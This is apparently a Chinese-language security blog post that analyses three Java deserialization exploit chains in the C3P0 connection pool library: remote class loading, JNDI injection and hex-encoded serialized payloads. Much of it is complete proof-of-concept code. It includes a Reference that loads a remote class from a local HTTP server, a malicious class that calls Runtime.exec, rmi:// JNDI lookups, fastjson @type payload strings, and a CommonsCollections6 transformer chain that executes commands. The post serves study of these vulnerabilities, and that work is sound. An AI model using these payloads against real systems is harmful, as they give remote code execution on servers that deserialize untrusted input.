C3P0 链子分析学习

C3P0 链子分析学习

概述

C3P0是一个开源的数据库连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池,使用它的开源项目有Hibernate、Spring等。

连接池:“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”

环境搭建

添加依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

Gadget

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

链子分析

就是加载远程类进行利用

Gadget Chain:
PoolBackedDataSourceBase#readObject 
	ReferenceSerialized#getObject 
		ReferenceableUtils#referenceToObject 
			ObjectFactory#getObjectInstance

定位到 PoolBackedDataSourceBase#readObject 方法,

看到如果对象类型为 IndirectlySerialized,会调用其 getObject 方法,发现只有静态类 ReferenceSerialized 继承了 IndirectlySerialized 接口,跟进其 getObject 方法,

看见这里初始化上下文,然后调用了 lookup ,那如果这里能控制 contextName 变量就能进行 JNDI 注入,

现在就是如何控制变量o为ReferenceSerialized对象,来到 PoolBackedDataSourceBase 的writeObject 方法,

看见反序列化了 connectionPoolDataSource 对象,而该对象没有继承 Serializable 接口

所以在序列化的时候会进入 catch 模块,在 catch 模块会调用 indirector.indirectForm 处理后在进行序列化,跟进ReferenceIndirector.indirectForm 方法。

看见会返回一个 ReferenceSerialized 对象,再跟进其构造函数

这里控制的是 reference 参数,但这里的属性contextName为默认null且不可控,所以不能触发JNDI注入,

继续跟进 ReferenceSerialized#getObject 方法,其调用了 ReferenceableUtils#referenceToObject 方法

其中 ref 变量是可以控制的,所以 fClassName 也可以控制,然后先是获取上下文构造器,然后如果fClassLocation 就直接使用当前上下文构造器进行加载,反之使用URLClassLoader 进行远程加载,而这个fClassLocation 我们同样是可以控制的。

poc 构造

先创建个继承了ConnectionPoolDataSource 接口和 Referenceable 的类,并且重写接口ConnectionPoolDataSource 以及其父类 CommonDataSource 接口的方法,

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
    @Override  
    public Reference getReference() throws NamingException {  
        return new Reference("poc","poc","http://127.0.0.1:8888/");  
    }  
    @Override  
    public PooledConnection getPooledConnection() throws SQLException {  
        return null;  
    }  
    @Override  
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
        return null;  
    }  
    @Override  
    public PrintWriter getLogWriter() throws SQLException {  
        return null;  
    }  
    @Override  
    public void setLogWriter(PrintWriter out) throws SQLException {  
    }  
    @Override  
    public void setLoginTimeout(int seconds) throws SQLException {  
    }  
    @Override  
    public int getLoginTimeout() throws SQLException {  
        return 0;  
    }  
    @Override  
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
        return null;  
    }  
}

因为上面看到在序列化时需要序列化 connectionPoolDataSource 对象,才能触发 catch 模块返回 ReferenceSerialized 对象,朔源发现其赋值的地方,是调用 setConnectionPoolDataSource 方法进行赋值的,

然后至于这个类是不是重写不重要,主要是需要控制 reference 参数,所以这里直接写个类只需要满足是connectionPoolDataSource 对象,然后 reference 参数改为我们控制的。

然后将其实例化,调用 setConnectionPoolDataSource 方法进行赋值,赋值将其序列化

public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
	//也可以反射修改connectionPoolDataSource属性值,这里直接调用方法好了
    PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
    poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());
      
    FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
    ObjectOutputStream oos = new ObjectOutputStream(fos);  
    oos.writeObject(poolBackedDataSourceBase);  
  
}  
  

public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
    FileInputStream fis = new FileInputStream(new File("exp.bin"));  
    ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
    objectInputStream.readObject();  
}  
  
public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
    Pool_Serial();  
    Pool_Deserial();  
}

综上,完整的 poc

package org.example;  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.beans.PropertyVetoException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class C3P0 {  
    public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
        @Override  
        public Reference getReference() throws NamingException {  
            return new Reference("poc","poc","http://127.0.0.1:8888/");  
        }  
        @Override  
        public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
        @Override  
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
        @Override  
        public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
        @Override  
        public void setLogWriter(PrintWriter out) throws SQLException {  
        }  
        @Override  
        public void setLoginTimeout(int seconds) throws SQLException {  
        }  
        @Override  
        public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
        @Override  
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    //序列化  
    public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
        //反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类  
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());  
        //序列化流写入文件  
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
  
    //反序列化  
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("exp.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        Pool_Serial();  
        Pool_Deserial();  
    }  
  
}

恶意类,poc.java

import java.io.IOException;
 
public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

然后 python 服务启动监听,弹出计算机,

JNDI注入

链子分析

Gadget

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
	JndiRefForwardingDataSource#setJndiName
 
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
	WrapperConnectionPoolDataSource#setLoginTime ->
		JndiRefForwardingDataSource#setLoginTimeout ->
			JndiRefForwardingDataSource#inner ->
				JndiRefForwardingDataSource#dereference() ->
					Context#lookup

定位到 JndiRefConnectionPoolDataSource 类,漏洞点在其调用的 WrapperConnectionPoolDataSource#setLoginTimeout 函数

跟进看到再次调用了 setLoginTimeout 函数,

先看 getNestedDataSource() 方法,返回了 nestedDataSource 变量,

朔源发现该变量是通过 setNestedDataSource 方法进行的赋值

JndiRefConnectionPoolDataSource 类调用 setLoginTimeout 时。对 WrapperConnectionPoolDataSource 进行了实例化并调用了 setNestedDataSource 方法为 nestedDataSource 变量赋值

所以回到上面的 WrapperConnectionPoolDataSource#setLoginTimeout 方法中,继续跟进 JndiRefForwardingDataSource#setLoginTimeout 方法

这里调用 inner 方法,进行跟进

跟进到 dereference() 方法,看到了 lookup 方法,并且 jndiName 我们可以控制,看上面的 gadget,可以通过函数 setJndiName 进行控制

那么剩下的 poc 就简单了

public class C3P02 {  
    public static void main(String[] args)throws Exception {  
  
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();  
        exp.setJndiName("rmi://localhost:1099/hello");  
        exp.setLoginTimeout(1);  
  
    }  
}

fastjson 链子,变一下打 ql 表达式也可以,以为两个变量存在 setter 方法

public class C3P0 {
public static void main(String[] args) throws SQLException {
    String payload = "{" +
            "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
            "\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
            "\"LoginTimeout\":0" +
            "}";
    JSON.parse(payload);
}

HEX序列化

链子分析

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件

Gadget
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
 
#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
	C3P0ImplUtils#parseUserOverridesAsString ->
		SerializableUtils#fromByteArray ->
			SerializableUtils#deserializeFromByteArray ->
				ObjectInputStream#readObject

还是定位到 WrapperConnectionPoolDataSource 类的构造函数

跟进到 C3P0ImplUtils.parseUserOverridesAsString 方法,看到先是进行 hex 解码为一个 byte 类型,然后调用了方法 fromByteArray 将其变为 map 类

跟进

看见了 readobject,到这里这条链子基本就清楚了(这里只是存在反序列,链子需要根据漏洞组件进行利用),利用 cc6 的链子来打

添加依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

poc 构造

先构造出 cc6 的链子,去掉反序列化,

package org.example;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03 {  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
          
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
}

然后再 parseUserOverridesAsString 函数中不难看出,hexAscii 就是传入的参数 userOverridesAsString 提取出来的。

而 userOverridesAsString 是通过 getUserOverridesAsString() 方法获得的,

可以调用 setUserOverridesAsString 进行赋值,

所以构造 poc

package org.example;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03{  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
  
        InputStream in = new FileInputStream("111.bin");  
        byte[] bytein = toByteArray(in);  
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();  
        exp.setUserOverridesAsString(Hex);  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static byte[] toByteArray(InputStream in) throws IOException {  
        byte[] classBytes;  
        classBytes = new byte[in.available()];  
        in.read(classBytes);  
        in.close();  
        return classBytes;  
    }  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
}

最后弹出计算机

fastjson poc

package org.example.serialize.c3p0;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;

public class C3P0Hex {
    public static void main(String[] args) {
        byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZh...AAAB4eHQABW5pdmlheA==");
        String hex = ByteUtils.toHexAscii(exp);

        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}

后面发现其实上面的 Gadget 只是后面一部分,准确的说是从 setUserOverridesAsString 开始触发的,调用栈如下

所以调用链应该为:

Gadget
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
 		VetoableChangeSupport#fireVetoableChange->
 			WrapperConnectionPoolDataSource#vetoableChange->
				WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
					C3P0ImplUtils#parseUserOverridesAsString ->
						SerializableUtils#fromByteArray ->
							SerializableUtils#deserializeFromByteArray ->
								ObjectInputStream#readObject

参考:https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473

参考:https://goodapple.top/archives/1749

参考:https://tttang.com/archive/1411/#toc_poc_1

posted @ 2024-10-18 22:08  高人于斯  阅读(21)  评论(0编辑  收藏  举报